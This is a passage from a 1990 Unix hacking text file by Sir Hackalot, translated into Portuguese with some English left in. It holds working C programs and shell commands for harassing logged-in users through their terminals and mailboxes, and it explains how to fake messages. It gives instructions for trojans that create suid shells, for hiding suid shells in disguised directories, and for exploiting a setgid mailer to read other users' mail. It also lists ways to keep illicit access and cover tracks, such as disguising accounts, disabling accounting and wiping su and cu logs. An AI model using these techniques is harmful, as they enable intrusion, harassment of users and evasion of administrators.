        pstr = "";
        if (argc == 1) {
                printf("OL (OneLiner) Version 1.00 \n");
                printf("By Sir Hackalot [PHAZE](Traduzido por LeBeau)\n");
                printf("\nsintaxe: ol tty message\n");
                printf("Example: ol tty01 You suck\n");
                exit(1);
        }
        printf("OL (OneLiner) Version 1.0\n");
        printf("By Sir Hackalot [PHAZE]\n");
        if (argc == 2) {
                strcpy(olm,"");
                printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n");
                printf("Enter one Here => ");
                gets(olm);
        }
        strcpy(pstr,"");
        strcat(pstr,devstr);
        strcat(pstr,argument[1]);
        printf("Sending to: [%s]\n",pstr);
        strm = fopen(pstr,"a");
        if (strm == NULL) {
                printf("Error writing to: %s\n",pstr);
                printf("Cause: No Write Perms?\n");
                exit(2);
        }
        if (argc == 2) {
                if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s): \n",logname());
                fprintf(strm,"%s\n",olm);
                fclose(strm);
                printf("Message Sent.\n");
                exit(0);
        }
        if (argc > 2) {
                if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s):\n",logname());
                while (acnt <= argc - 1) {
                        fprintf(strm,"%s ",argument[acnt]);
                        acnt++;
                }
                fclose(strm);
                printf("Message sent!\n");
                exit(0);
        }
}

O que o codigo acima faz e enviar uma linha de texto para um dispositivo que 
se possa escrever nele por voce no diretorio /dev.  Se voce tentar isso no 
usuario "sirhack" ele ira notificar sirhack daquilo que voce esta fazendo. 
Voce pode suprir um argumento na linha de comandos, ou nao preencher a messagem,
depois o programa pede uma.  Voce DEVE suprir um terminal.  Tambem, se voce usar
? ou *, ou (), ou [], voce nao tem que suprir uma messagem na linha de comandos
espere ate que ele peca por uma. Exemplo:

$ ol tty1 Lammer 
OL (OneLiner) Version 1.00
by Sir Hackalot [PHAZE](Traduzido por LeBeau)
Sending to: [/dev/tty1]
Message Sent!
$
Or..
$ ol tty1
OL (OneLiner) Version 1.00
by Sir Hackalot [PHAZE](Traduzido por LeBeau)
Dummy! You Forgot to Supply a ONE LINE MESSAGE!
Enter one here => Loozer! Logoff (NOW)!! ^G^G
Sending to: [/dev/tty1]
Message Sent!
$

  Voce pode fazer para enviar messagens falsas a partir do root.  
  Aqui vai outro exemplo:


/*
 * Hose another user
 */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define NMAX    sizeof(ubuf.ut_name)

struct  utmp ubuf;
struct  termio oldmode, mode;
struct  utsname name;
int yn;
int loop = 0;
char    *realme[50] = "Unknown";
char    *strcat(), *strcpy(), me[50]  = "???", *him, *mytty, histty[32];
char    *histtya, *ttyname(), *strrchr(), *getenv();
int     signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout();
FILE    *tf;

main(argc, argv)
int argc;
char *argv[];
{
        register FILE *uf;
        char c1, lastc;
        int goodtty = 0;
        long clock = time((long *) 0);
        struct tm *localtime();
        struct tm *localclock = localtime( &clock );
        struct stat stbuf;
        char psbuf[20], buf[80], window[20], junk[20];
        FILE *pfp, *popen();

        if (argc < 2) {
                printf("usage: hose user [ttyname]\n");
                exit(1);
        }
        him = argv[1];

        if (argc > 2)
                histtya = argv[2];
        if ((uf = fopen("/etc/utmp", "r")) == NULL) {
                printf("cannot open /etc/utmp\n");
                exit(1);
        }
        cuserid(me);
        if (me == NULL) {
                printf("Can't find your login name\n");
                exit(1);
        }
    mytty = ttyname(2);
    if (mytty == NULL) {
                printf("Can't find your tty\n");
                exit(1);
        }
        if (stat(mytty, &stbuf) < 0) {
                printf("Can't stat your tty -- This System is bogus.\n");
        }
        if ((stbuf.st_mode&02) == 0) {
                printf("You have write permissions turned off (hehe!).\n");
        }

    if (histtya) {
                if (!strncmp(histtya, "/dev/", 5))
                        histtya = strrchr(histtya, '/') + 1;
                strcpy(histty, "/dev/");
                strcat(histty, histtya);
        }
        while (fread((char *)&ubuf, sizeof(ubuf), 1, uf) == 1) {
                if (ubuf.ut_name[0] == '\0')
                        continue;
                if (!strncmp(ubuf.ut_name, him, NMAX)) {
                        logcnt++;
                        if (histty[0]==0) {
                                strcpy(histty, "/dev/");
                                strcat(histty, ubuf.ut_line);
                        }
                        if (histtya) {
                                if (!strcmp(ubuf.ut_line, histtya))
                                        goodtty++;
                        }
                }
        }
        fclose(uf);
        if (logcnt==0) {
                printf("%s not found! (Not logged in?)\n", him);
                exit(1);
        }

        if (histtya==0 && logcnt > 1) {
                printf("%s logged more than once\nwriting to %s\n", him, histty+5);
        }
        if (access(histty, 0) < 0) {
                printf("No such tty? [%s]\n",histty);
                exit(1);
        }
        signal(SIGALRM, timout);
        alarm(5);
        if ((tf = fopen(histty, "w")) == NULL)
                goto perm;
        alarm(0);
        if (fstat(fileno(tf), &stbuf) < 0)
                goto perm;
        if (geteuid() != 0 && (stbuf.st_mode&02) == 0)
                goto perm;
        ioctl(0, TCGETA, &oldmode);             /* save tty state */
        ioctl(0, TCGETA, &mode);
        sigs(eof);
        uname(&name);
        if (strcmp(him,"YOURNAMEHERE") == 0) yn = 1;
  if (yn == 1 ) {
    fprintf(tf, "\r(%s attempted to HOSE You with NW)\r\n",me);
    fclose(tf);
    printf("Critical Error Handler: %s running conflicting process\n",him);
    exit(1);
}
    fflush(tf);
        mode.c_cc[4] = 1;
        mode.c_cc[5] = 0;
        mode.c_lflag &= ~ICANON;
        ioctl(0, TCSETAW, &mode);
        lastc = '\n';


printf("Backspace / Spin Cursor set lose on: %s\n",him);
   while (loop == 0) {
   c1 = '\b';
   write(fileno(tf),&c1,1);
   sleep(5);
fprintf(tf,"\\\b|\b/\b-\b+\b");
   fflush(tf);
   }




perm:
printf("Write Permissions denied!\n");
exit(1);
}

timout()
{

printf("Timeout opening their tty\n");
exit(1);
}

eof()
{
printf("Bye..\n");
ioctl(0, TCSETAW, &oldmode);
exit(0);
}

ex()
{
        register i;
        sigs(SIG_IGN);
        i = fork();
        if (i < 0) {
                printf("Try again\n");
                goto out;
        }
        if (i == 0) {
                sigs((int (*)())0);
                execl(getenv("SHELL")?getenv("SHELL"):"/bin/sh","sh","-t",0);
                exit(0);
        }
        while(wait((int *)NULL) != i)
                ;
        printf("!\n");
out:
        sigs(eof);
}

sigs(sig)
int (*sig)();
{
        register i;
        for (i=0; signum[i]; i++)
                signal(signum[i], sig);
}



O que o codigo acima e? uma versao modificada do comando write.
O que ele faz?  Ele avanca o cursor devois volta na tela do usuario 
que esta rodando. Entretanto, ele nao afeta fisicamente a entrada de dados,
o usuario pensa que ele faz.  Entretanto, ele muda a velocidade da entrada de
dados.  O sleep(xx) pode ser alterado para fazer os dados passarem mais rapidos
ou menos rapidos.
Se voce puser sua conta no "YOURNAMEHERE", ele ira proteger voce de ser pego por
isso, se alguem de um unix de acesso publico encontra o executavel em seu diretorio.
Voce pode fazer um programa menor que faz quase a mesma coisa, mas voce precisa 
suprir o terminal, observe:

/* Backspace virus, by Sir Hackalot [Phaze] */
#include 
#include 
main(argc,argv)
char *argv[];
int argc;
{
        int x = 1;
        char *device = "/dev/";
        FILE *histty;
        if (argc == 1) {
        printf("Bafoon.  Supply a TTY.\n");
        exit(1);
        }
        strcat(device,argv[1]);
        /* Make the filename /dev/tty.. */
        histty = fopen(device,"a");
        if (histty == NULL) {
        printf("Error opening/writing to tty.  Check their perms.\n");
        exit(1);
        }
        printf("BSV - Backspace virus, By Sir Hackalot.\n");
        printf("The Sucker on %s is getting it!\n",device);
        while (x == 1) {
        fprintf(histty,"\b\b");
        fflush(histty);
        sleep(5);
        }
        }

Isso e tudo.  Se voce pode escrever para o tty dele, voce pode fazer isso
nele.  Ele envia dois backspaces para eles a cada 5 segundos aproximadamente.
Voce pode rodar esse programa no background.  (&).  Aqui esta um exemplo:

$ who
sirhack     tty11
loozer      tty12
$ bsv tty12&
[1]  4566
BSV - Backspace virus, by Sir Hackalot
The Sucker on /dev/tty12 is getting it!
$

Agora, ele vai ficar "atacando" ele, ate que ele desconecte, ou voce mate o processo 
(Lembra do kill?) (esse programa que no caso tinha numero = 4566 -- quando voce usa &, ele fornece
o  pid [geralmente]).

** Nota *** Tenha em mente que o MSDOS, e outros SO usam o metodo de CR/LF
para terminar uma linha.  Entretanto, o LF termina uma linha em Unix.
Voce deve remover os CR's em um upload de arquivos ascii se voce quiser que o 
editor trabalhe direito.  Senao, voce vera um ^M no fim de cada linha.  Sei que isso
e chato, mas voce precisa arrumar isso.

Eu tenho um grande numero de programas que atrapalhas os usuarios, mas e suficiente que
voce deixe a imaginacao voar, desde que voce programe em C.  Voce pode encher o saco
dos usuarios de outras formas.  Uma coisa que voce pode fazer e encher o usuario de 
emails idiotas.
A forma para fazer isso e encontrar um arquivo binario (30k ou maior) no sistema
que voce tem acesso para ler.  Entao, faca isso:

$ cat arquivo_binario | mail loozer

ou

$ mail loozer < arquivo_binario

Essas sao duas formas de enviar um email.  A primeira messagem ira ter uma linha
from mostrando quem mandou.. (voce), mas a segunda nao ira!  Uma vez que ele nao 
existe, o leitor de email ficara saindo e dando ao usuario uma mensagem de erro ate
o erro ser corrigido.  O modo de fixar isso e ir ate a caixa de correio do usuario
que foi atingido com esse truque (geralmente so o usuario ou o root podem fazer isso)
editar o arquivo e ascrestar uma linha from.. tipo:  From conta.
entao ela vai ficar certo.  Voce pode atrapalhar o usuario ao usar o comando "cat" para
enviar um arquivo binario para a tty dele.
Digamos que Loozer esta no tty12.  Voce pode fazer..
$ cat arquivo_binario >/dev/tty12
$
Ele pode dar uma pausa enquanto ela faz a saida de dados.  Se voce quiser continuar o que
voce estava fazendo instantaneamente, faca:
$ cat arquivo_binario >/dev/tty12&
[1] 4690
$
E ele sera provavelmente desconectado.  Voce pode enviar a saida de dados de tudos o que faz
em seu terminal para ele.  Tudo o que VOCE fizer em shell.  Tipo isso:
$ sh >/dev/tty12
$
Voce tera o prompt mas nao vera resposta a nenhum comando, o usuario ira...
$ ls
$ banner Idiota!
$ echo Panaca!
$
Ate voce digitar exit, ou teclar ctrl-d.

Dica do LeBeau:
Ai vi uma dica para ninguem disser que eu sou um lammer que so entende de Ingles:
$ while : ; do
> banner Idiota! >/dev/tty12       
>done

outra forma disso seria:

$ banner Idiota! > idiota
$ while : ; do
> write loozer < idiota
>done

Isso vai fazer um loop infinito, enchendo a tela do usuario com a palavra Idiota!
A diferenca do primeiro para o segundo seria que o segundo mostra quem enviou
a mensagem ja a primeira nao.


Existem muitas coisas que voce pode fazer.  Voce pode enviar um write falso para
alguem e fazer ele pensae que foi de alguem do outro lado do inferno.  Seja criativo.

Quando voce estiver olhando por coisas a fazer, procure por falhas, ou tente fazer
alguem rodar um cavalo de troia que faz um shell suid.  Se voce fizer alguem rodar
um cavalo de troia que faz isso, voce pode rodar a suid, e desconectar aquele cara
ao matar a PID principal dele.  (kill -9 algumacoisa).  Ou, voce pode tirar eles fora
por um bom tempo acrescentando a linha "kill -1 0" ao .profile dele.  No interior das
falhas, sempre procure bits de suid maus.  Em um sistema que devia ser invencivel
Eu fui capaz de ler/modificar o email de todos, porque eu usei um mailer (programa 
gerenciador de email) que tinha tanto o GroupID quanto o UserID.  Quando eu fui dar um shell 
a partir dele, o programa instantaneamente mudou meu ID efetivo de volta, assim eu 
nao podia fazer nada alem daquilo que eu podia fazer.  Mas ele nao foi desenvolvido 
para trazer o GROUP ID de volta. O sysop errou nisso.  Assim quando eu fiz o comando
id eu vi que pertencia ao grupo "mail".  Arquivos de email podem ser lidas/escritas
pelo user "mail", e pelo grupo "mail".  Eu entao fiz um shell sgid (set group id). Para
mudar meu id de grupo para "mail" quando eu rodar ele, e procurar por importante emails
e isso me deu uma boa informacao.  Assim, fique de olho por permissoes pobres.

Outra coisa, depois que voce ganha acesso, voce pode querer manter isso.  Aqui estao algumas 
dicas sobre isso:
        1. Nao espalhe.  Se o sysadm ve que joeuser conectou 500 vezes numa noite.... entao....
        2. Nao fique muitas horas por vez.  Eles podem tracar da onde voce esta. Tambem eles
           vao saber se voce e irregular se o joeuser estiver conectado depois de 4 depois do trabalho.
        3. Nao destrua o sistema.  Nao apague arquivos importantes.
           Use a maquina para algo especifico (para pesquisar codigo fonte, desenvolver programas,
           site de email).  Nao seja um filho da mae com todos, e nao tente apagar tudo o que 
           voce pode.
        4. Nao mexa com os usuarios constantemente.  Verifique os processos deles e rode o que eles
           rodam.  Voce pode pegar uma boa info (snoop!)
        5. Se voce acrescentar uma conta, primeiro olhe nas contas que ja existem.
           Se voce ve um monte de contas que tem apenas 3 letras, entao a sua deve ser
           tambem.  Se um sistema usa "cln, dok, wed" ou algo assim, nao acrescente uma conta
           chamada "joeuser", acrescente alguma que e somente as iniciais.
        6. Quando voce acrescentar uma conta, ponha um nome feminino, so se isso encaixa
           (Ou seja, se apenas companhias conectam no unix, ponha uma nome de 
           companhia la).  As pessoas nao suspeitam que hackers usem nomes de mulheres.
           Eles procuram por nomes de homens.
        7. Don't cost the Unix machine too much money.  Ie.. don't abuse an
           outdial, or if it controls trunks, do not set up a bunch of dial
           outs.  If there is a pad, don't use it unless you NEED it.
        8. Nao use x.25 pads.  O uso deles e altamente descoberto.
        9. Deixe o log acct desligado (acct off) se voce tiver como fazer isso.
           Ligue-o assim que voce terminar.
       10. Remova qualquer cavalo de troia que voce deixou ativado para dar a voce  
           acesso assim que voce tiver acesso.
           
       11. NAO mude o arquivo MOTD para disser "Eu hackeei esse sistema" .
           Muitas, mas muitas pessoas fazem isso, e perdem o acesso dentro de 2 horas.
       12. Tenha bom julgamento.  Cubra seus rastros.  Se voce usa su, limpe o 
           sulog.
       13. Se voce usa cu, limpe o cu_log.
       14. Se voce usa o defeito smtp (wizard/debug), crie um shell de uid.
       15. Esconda todos shell suid.  Aqui esta como:
           goto /usr
           (ou outro dir)
           faca:
           # mkdir ".. "
           # cd ".. "
           # cp /bin/sh ".whatever"
           # chmod a+s ".whatever"
           Os "" sao necessarios para entrar no diretorio ..  !  Ele nao ira aparecer
           em uma listagem de arquivos, e e dificil paca para os sysadms entrar
           se voce fizer 4 ou 5 espacos nele ("..    "), porque tudo o que ele vao ver
           na listagem completa sera .. e eles nao serao capazes de entrar a menos que eles
           usem "" e saibam o espacamento.  "" e usado quando voce quer fazer literais,
           ou use um coringa como parte do nome de arquivo.
           
       16. Don't hog cpu time with password hackers.  They really don't work
           well.

       17. Nao use muito espaco em disco.  Se voce arquivar algo para copiar,
           copie isso, depois apague os arquivos.
       18. Basicamente -- CUBRA SEUS RASTROS.

Algumas notas finais:

Agora, eu escuto inumeros rumores e estorias tipo "E muito dificil entrar nos
sistemas...".  Errado. (Yo Pheds! Voce estao lendo isso??).  Isso e verdade 
quando voce esta tratando com WAN, tipo telnet, tyment, e a Internet,
mas nao com computadores locais foras daquelas redes.  Aqui esta a historia:

A partir de alguns anos atras, muitas companhias pequenas cresceram como VARs
(Value Added Resellers, algo como revendedoras) para Unix e Hardware, de forma
a fazer dinheiro.  Agora, essas companhias rapidamente falam com outras companhias
em comprar qualquer coisa, e eles fazem isso por Unix.  Agora, o LeBeau esta
cheio de traduzir, uma rapida interpretacao disso seria que as empresas deixam
as senhas padrao de proposito para que as empresas (e quem mais quiser) possam entrar
. Now, these companies fast talk companies into buying whatever,
and they proceed in setting up the Unix.  Now, since they get paid by
the hour usaually when setting one up, they spread it out over days....
during these days, the system is WIDE open (if it has a dialin).  Get
in and add yourself to passwd before the seal it off (if they do..).
Then again, after the machine is set up, they leave the defaults on the
system.  Why?  The company needs to get in, and most VARs cannot use
unix worth a shit, all they know how to do is set it up, and that is ALL.
Then, they turn over the system to a company or business that USUALLY
has no-one that knows what they hell they are doing with the thing, except
with menus.  So, they leave the system open to all...(inadvertedly..),
because they are not competant.  So, you could usually get on, and create
havoc, and at first they will think it is a bug..  I have seen this
happen ALL to many times, and it is always the same story...
The VAR is out for a fast buck, so they set up the software (all they know
how to do), and install any software packages ordered with it (following
the step by step instructions).  Then they turn it over to the business
who runs a word processor, or database, or something, un aware that a
"shell" or command line exists, and they probably don't even know root does.
So, we will see more and more of these pop up, especially since AT&T is
now bundling a version of Xwindows with their new System V, and Simultask...
which will lead to even more holes.  You'll find systems local to you
that are easy as hell to get into, and you'll see what I mean.  These
VARs are really actually working for us.  If a security problem arises
that the business is aware of, they call the VAR to fix it... Of course,
the Var gets paid by the hour, and leaves something open so you'll get in
again, and they make more moolahhhh.


Voce pode usar esse arquivo para qualquer coisa que voce quiser.  Eu nao posso
parar voce.  Apenas para aprender unix (heh) ou outras coisas.  Mas e o seu 
rabo que vai ser preso se fizer besteira, nao eu.
Sempre considere as penalidades antes de voce tentar algo.  Algumas veze ele
nao vale o esforco, algumas vezes vale.

tente ser compreensivo, mesmo quando o sistema nao ajudar.
Eu usei muitas tecnicas e truques, especificamente para fazer que voce aprenda 
algo por si proprio, e tambem para reter informacoes assim voce tera muitos segredos.
Voce pode passar esse arquivo, DO JEITO QUE ESTA, para qualquer BBS boa de H/P
ou Home Page Boa sobre hackers (eu sugiro que voce visite a minha HP em: 
http://www.geocities.com/SiliconValley/Lakes/3892 ).
Sysops podem acrescentar coisas no arquivo para disser da onde ele foi copiado.
Esse arquivo e Copywrited (haha) pelo Sir Hackalot, e pelo PHAZE, no ano 1990.
Traduzido por LeBeau no ano de 1997.

-Sir Hackalot of PHAZE
1990.

-LeBeau
1997.

------------------------------------------------------------------



Press RETURN to Continue: